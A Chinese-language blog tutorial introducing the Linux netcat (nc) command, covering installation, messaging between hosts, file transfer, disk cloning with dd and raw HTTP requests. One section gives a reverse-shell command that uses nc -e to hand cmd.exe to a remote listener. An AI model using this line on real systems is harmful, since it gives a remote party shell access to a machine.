Linux 下 nc 命令介绍

朴灿烈づ我的快乐病毒、 2023-02-15 01:16 423阅读 0赞

come on ![format_png][] 伸出中指戳戳上方关注我……

![format_png 1][]

本文空调开放，欢迎阅读

nc 是 Linux 下的一个强大的命令。nc 是简称，全名是 netcat。大部分的 Linux 发行版都有自带 nc 这个命令，如果没有的话就需要自己安装了

我这里使用的是 CentOS 7.3，对于 nc，你可以使用 yum 安装或者自己编译二进制文件。这里推荐使用 yum 安装，因为 yum 可以自动解决依赖问题

<table> 
 <tbody> 
  <tr> 
   <td><pre><code>1

</code></pre></td> 
   <td><pre><code>yum install nmap-ncat.x86_64

</code></pre></td> 
  </tr> 
 </tbody> 
</table>

同样，netcat 也有 Windows 版本可用，你可以在 https://eternallybored.org/misc/netcat 这里下载到 netcat 的 Windows 版本。这里下载到的是一个压缩包，里面包含 netcat 的源代码和 nc & nc64 两个已经编译好的二进制文件，你可以根据自己系统来选择使用 nc 或 nc64

成功安装之后你就可以使用 nc 命令了，使用 nc –help，你可以查看到 nc 命令的详细帮助。我在这里使用几个具体的例子来简要概述下 nc 命令的基本使用方法

####     ####

##  ##

0. nc 命令的标准使用形式

<table> 
 <tbody> 
  <tr> 
   <td><pre><code>1

</code></pre></td> 
   <td><pre><code>nc [-options] ip port[s] [ports]

</code></pre></td> 
  </tr> 
 </tbody> 
</table>

ip 处是可以使用域名的，nc 会调用 DNS 解析成 IP 地址。如果不需要 nc 自动解析的话可以在执行时添加 -n \[–nodns\] 参数

####     ####

##  ##

1. 两台主机之间发送实时消息

<table> 
 <tbody> 
  <tr> 
   <td><pre><code>1
2

</code></pre></td> 
   <td><pre><code>A 主机：nc -lp port
B 主机：nc ip port

</code></pre></td> 
  </tr> 
 </tbody> 
</table>

\-l \[–listen\]：绑定并监听传入的连接  
\-p \[–source-port\]：指定要使用的源端口

建立连接后在任意一台主机输入信息并按下回车发送后对方就能收到  
因为 nc 是会自动从标准流中读取数据的，如果想要禁止，可以在命令执行时使用 -d 参数

####     ####

##  ##

2. 两台主机之间传送文件

<table> 
 <tbody> 
  <tr> 
   <td><pre><code>1
2

</code></pre></td> 
   <td><pre><code>接收端：nc -lp port &gt; outputfile
发送端：nc destip port &lt; inputfile

</code></pre></td> 
  </tr> 
 </tbody> 
</table>

这一条本质和上面那个是一样的，只是借用了输出重定向这个特性。同样，nc 命令也支持管道，你甚至可以借由此实现克隆分区：

<table> 
 <tbody> 
  <tr> 
   <td><pre><code>1
2
3
4
5
6
7

</code></pre></td> 
   <td><pre><code>接收端：
unmount /dev/sda2
nc -lp port | dd of=/dev/sda2

发送端：
unmount /dev/sda1
dd if=/dev/sda1 | nc destip port

</code></pre></td> 
  </tr> 
 </tbody> 
</table>

####     ####

##  ##

3. 发送 HTTP 请求

<table> 
 <tbody> 
  <tr> 
   <td><pre><code>1
2
3
4
5
6
7
8
9

</code></pre></td> 
   <td><pre><code>$nc destip 80 &lt;&lt;EOF

GET /HTTP/1.1

Cookie:xxx
xxx:xxx
xxx

EOF

</code></pre></td> 
  </tr> 
 </tbody> 
</table>

为什么？因为 nc 发送的是纯文本  
保存 Web 页面？重定向输出流就好了

####     ####

##  ##

4. 反向代理 Shell

<table> 
 <tbody> 
  <tr> 
   <td><pre><code>1
2

</code></pre></td> 
   <td><pre><code>发送端：nc -lp localport
执行端：nc -t -e C:/windows/system32/cmd.exe destip destport

</code></pre></td> 
  </tr> 
 </tbody> 
</table>

\-t \[–telnet\]：响应 telnet 交互  
\-e \[–exec-command\]：执行给定的命令，也可以携带一个 lua 脚本

destip 和 destport 即为发送端的 IP 和 localport  
连接成功后，发送端的会得到一个执行端的 Shell

你可以使用 -w 来设置无响应时的超时时间

nc 在默认情况下，如果连接到 Server 的 Client 断开连接，那么 Server 也会跟着退出。你可以使用 -k 参数来保持 Server 的监听状态

nc 是支持 IPV6 的，你可以使用 -4 & -6 参数来指定使用 IPV4 或 IPV6

nc 默认是使用 TCP 协议通信，但是也支持 UDP，可添加 -u 参数来使用 UDP 协议

> 对于使用 nc 去扫描端口这个用途，我是不推荐的，因为 nc 的扫描速度十分之慢。  
> 而且，在最新的 nc 中，已经去掉了 -z    (zero-I/O mode \[used for scanning\]) 这个参数。  
> 所以，对于这个需求，还是使用更专业的 nmap 吧

*  ![format_png 2][]
    
    ●[SpringBoot读取外部配置文件的方法][SpringBoot]
    
    ●[支持百亿级别的 Java 分布式日志组件EasyLog][Java _EasyLog]
    
    ●[MySQL 加锁和死锁解析][MySQL]
    
    ●[如果是MySQL引起的CPU消耗过大，你会如何优化？][MySQL_CPU]
    
    ![format_png 3][]
    
    点亮 ![format_png 4][]，告诉大家你也在看![format_png 5][]

[format_png]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2dpZi8zM0xwNUJMWXl4MHQ5RGFjdGhiZ1Y3d01BYTVBd0RxWm9kZDBvbFRONjFGaWNCZ0VuR3JUNGlhWFkwc1JWQWNxdmlhRkRaSFg5R2VpYUFrOVg1WnhQWmliMjVRLzY0MA?x-oss-process=image/format,png
[format_png 1]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2dpZi94aWNXWVRTSUN6UnYwTDBlU0NsZEl6eTVOYXkxUFd5ZTVRMHZjdjlkMHlkOWJGckRsZ2dGOUNFc1d4VktleGFFaWFDOEU3aWFQcm5raWNRelpKREN5OUhOQkEvNjQw?x-oss-process=image/format,png
[format_png 2]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2dpZi9wNldsMkxETVFsSEM2cERYeVFSYVdqbFdSNVBJaHVrSVVHVjFuZks2SDlxdEhab3huWHRWZGV6dG9GZXhrYWV2dWRtWjFNYlY5cVdOWlRYaWFvcEx5b1EvNjQw?x-oss-process=image/format,png
[SpringBoot]: https://blog.csdn.net/u012811805/article/details/106515386
[Java _EasyLog]: https://blog.csdn.net/u012811805/article/details/106485531
[MySQL]: https://blog.csdn.net/u012811805/article/details/106294139
[MySQL_CPU]: https://blog.csdn.net/u012811805/article/details/106271361
[format_png 3]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy94aWNXWVRTSUN6UnZ6aGRLck1pY1NQSWliZzhQRWJPa2E4bmpjOHJFZmFLa09YTHAyd21wckxpY0JRaWNYMWlhdVFzWEdTTDlpYXhreFZTb3RQQ2F2U2hva1NvVHcvNjQw?x-oss-process=image/format,png
[format_png 4]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9wUzk0dWp0MkJpY3RNejdXN01zaWFQMlBMWVlEV3lFN0V2eDhpYjhpYXRsb2lidWVmaGdlbElNcTd1anpISWhHNVFIOFVwZmdjekdiRnlYVGx3bm12WGQ0cjFRLzY0MA?x-oss-process=image/format,png
[format_png 5]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2dpZi9iR2FIVXhTdTBPSjNlRTdqOHl0aFJzakd5M3NraWFncVVIRXBRRW1pYjVpY2VEejNVU3pVc2FFOEY4ZmVLUEF3Y0RxT2ljTVlMVkJaY2VxbTV4c3F1MWdydXcvNjQw?x-oss-process=image/format,png